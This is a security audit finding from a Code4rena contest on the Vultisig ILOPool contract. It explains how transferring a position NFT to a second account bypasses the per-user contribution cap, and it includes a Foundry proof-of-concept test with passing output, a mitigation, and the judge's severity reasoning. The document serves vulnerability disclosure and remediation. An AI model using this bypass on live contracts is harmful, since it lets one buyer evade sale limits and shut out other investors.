Transfer of ILOPool NFT token to different account allows for users to bypass the pool's `maxCapPerUser` invariant

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-06-vultisig/blob/cb72b1e9053c02a58d874ff376359a83dc3f0742/src/ILOPool.sol#L143 https://github.com/code-423n4/2024-06-vultisig/blob/cb72b1e9053c02a58d874ff376359a83dc3f0742/src/ILOPool.sol#L151

Vulnerability details

Description

The ILOPool smart contract enables investors to acquire a locked liquidity position represented as an NFT. When an investor invokes the buy() function, they transfer a specified amount of RAISE TOKENS into the pool, thereby opening a position and receiving an ILOPool NFT token that signifies their ownership. The protocol enforces certain invariants related to the minimum and maximum amounts of RAISE TOKENS required for the sale. Furthermore, there is a restriction on the maximum number of tokens each investor can contribute per sale, defined by maxCapPerUser.

struct InitPoolParams {
        address uniV3Pool;
        int24 tickLower; 
        int24 tickUpper;
        uint160 sqrtRatioLowerX96; 
        uint160 sqrtRatioUpperX96;
        uint256 hardCap; // total amount of raise tokens
        uint256 softCap; // minimum amount of raise token needed for launch pool
        uint256 maxCapPerUser; // TODO: user tiers
        uint64 start;
        uint64 end;

        // config for vests and shares. 
        // First element is always for investor 
        // and will mint nft when investor buy ilo
        VestingConfig[] vestingConfigs;
    }

Each subsequent call to buy() is intended to increase the investor's raised amount for their position, ensuring that the user's total raised amount does not surpass the sale's maxCapPerUser. However, this restriction can be circumvented by transferring an existing ILOPool NFT token to another account and invoking buy() again. This action results in the protocol minting a new NFT (thus creating a new position) for the investor. Consequently, the maxCapPerUser check applies to the new position's raised amount, rather than the total amount contributed by the investor.

// If the investor already has a position, increase the raise amount and liquidity
// Otherwise, mint a new NFT for the investor and assign vesting schedules
@> if (balanceOf(recipient) == 0) { // The user can easily set their balance to 0
   _mint(recipient, (tokenId = _nextId++));
   _positionVests[tokenId].schedule = _vestingConfigs[0].schedule;
} else {
   tokenId = tokenOfOwnerByIndex(recipient, 0);
}

Position storage _position = _positions[tokenId];
@> require(raiseAmount <= saleInfo.maxCapPerUser - _position.raiseAmount, "UC"); // User can open multiple positions bypassing the `maxCapPerUser` constraint
_position.raiseAmount += raiseAmount;

Impact

This vulnerability allows an investor to:

1. Bypass the maxCapPerUser constraint by transferring their NFT to another account and purchasing additional tokens, thus minting new NFTs and opening new positions, which in turn breaks a core invariant.
2. Prevent other investors from participating in the pool by monopolizing the contributions and reaching the pool's hardCap.

Proof of Concept

The described issue is illustrated in the below test, which can be added to the current test suit in ILOPool.t.sol file and run with forge test --mt testBypassUserCap. I've added some helper-getter functions to be able to properly log what is happening in the workflow. I have used the defined set up parameters provided with the protocol's test suite.

function testBypassUserCap() external {
        address alice = makeAddr("alice");
        address aliceSecondAccount = makeAddr("aliceSecondAccount");
        address bob = makeAddr("bob");

        _prepareBuyFor(alice);
        _prepareBuyFor(bob);

        console.log("Pool hard cap: ", IILOPool(iloPool).getSaleInfo().hardCap / 1e18);
        console.log("Pool max cap per user: ", IILOPool(iloPool).getSaleInfo().maxCapPerUser / 1e18);

        uint256 maxUserAmount = IILOPool(iloPool).getSaleInfo().maxCapPerUser;
        (uint256 tokenIdAlice, uint128 liquidityAlice) = _buyFor(alice, SALE_START + 1, maxUserAmount); // User buys the max cap

        console.log("Total raised after first buy from Alice:", IILOPool(iloPool).getTotalRaised() / 1e18);
        assertEq(IILOPool(iloPool).balanceOf(alice), 1);

        vm.prank(alice);
        ERC721(iloPool).transferFrom(alice, aliceSecondAccount, tokenIdAlice);

        assertEq(IILOPool(iloPool).balanceOf(alice), 0);
        assertEq(IILOPool(iloPool).balanceOf(aliceSecondAccount), 1);

        (uint256 tokenIdAliceSecond, uint128 liquidityAliceSecond) = _buyFor(alice, SALE_START + 1, 30000 ether); // User buys more than the max cap

        console.log("Total raised after second buy from Alice:", IILOPool(iloPool).getTotalRaised() / 1e18);
        assertEq(IILOPool(iloPool).balanceOf(alice), 1);

        vm.expectRevert(bytes("HC"));
        (uint256 tokenIdBob, uint128 liquidityBob) = _buyFor(bob, SALE_START + 1, 20000 ether); // A new investor wants to buy a position, but reverts

        assertEq(IILOPool(iloPool).balanceOf(bob), 0);

        _writeTokenBalance(SALE_TOKEN, iloPool, 95000 * 4 ether);
        vm.warp(SALE_END + 1);

        vm.prank(address(iloManager));
        IILOPool(iloPool).launch();

        vm.warp(VEST_END_1);

        vm.startPrank(aliceSecondAccount);
        ERC721(iloPool).transferFrom(aliceSecondAccount, alice, tokenIdAlice); // Alice gets her first token back
        vm.stopPrank();

        assertEq(IILOPool(iloPool).balanceOf(alice), 2);

        vm.startPrank(alice);
        IILOPool(iloPool).claim(tokenIdAlice);
        IILOPool(iloPool).claim(tokenIdAliceSecond);
        vm.stopPrank();

        assertGt(IERC20(SALE_TOKEN).balanceOf(alice), maxUserAmount);
    }

Ran 1 test for test/ILOPool.t.sol:ILOPoolTest
[PASS] testBypassUserCap() (gas: 3339405)
Logs:
  Pool hard cap:  100000
  Pool max cap per user:  60000
  Total raised after first buy from Alice: 60000
  Total raised after second buy from Alice: 90000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.65s (395.09ms CPU time)

Tools Used

Manual review

Recommended Mitigation Steps

Implement an internal tracking mechanism to specify if the investor has bought an NFT, instead of using balanceOf(recipient) == 0. Another thing would be to implement a tracking mechanism to aggregate the total raised amount by an individual investor across all their positions.

Assessed type

Token-Transfer

[alex-ppg]

The Warden and its duplicates have demonstrated how the raise limitation per user can be effectively bypassed by transferring the NFT that the raise amounts are attached with to a different user, permitting one to circumvent the check and deposit as many funds as they wish.

Normally, a QA (L) severity rating would be assigned if the function was permissionless due to the ability of a user to use a secondary account to participate anyway. However, coupled with the fact that a whitelist may be enforced for raising operations, the impact of this submission has been properly assessed as medium-risk.

A subset of this duplicate set has been awarded a 75% reward due to describing an incorrect alleviation, such as imposing a whitelist on the NFT transfers. This is insufficient as a whitelisted user would be able to collude with another whitelisted user and transfer all NFTs to them (or even acquire whitelist access twice).

[c4-judge]

alex-ppg marked the issue as selected for report

[c4-judge]

alex-ppg marked the issue as satisfactory

[jarvisnn]

confirmed this issue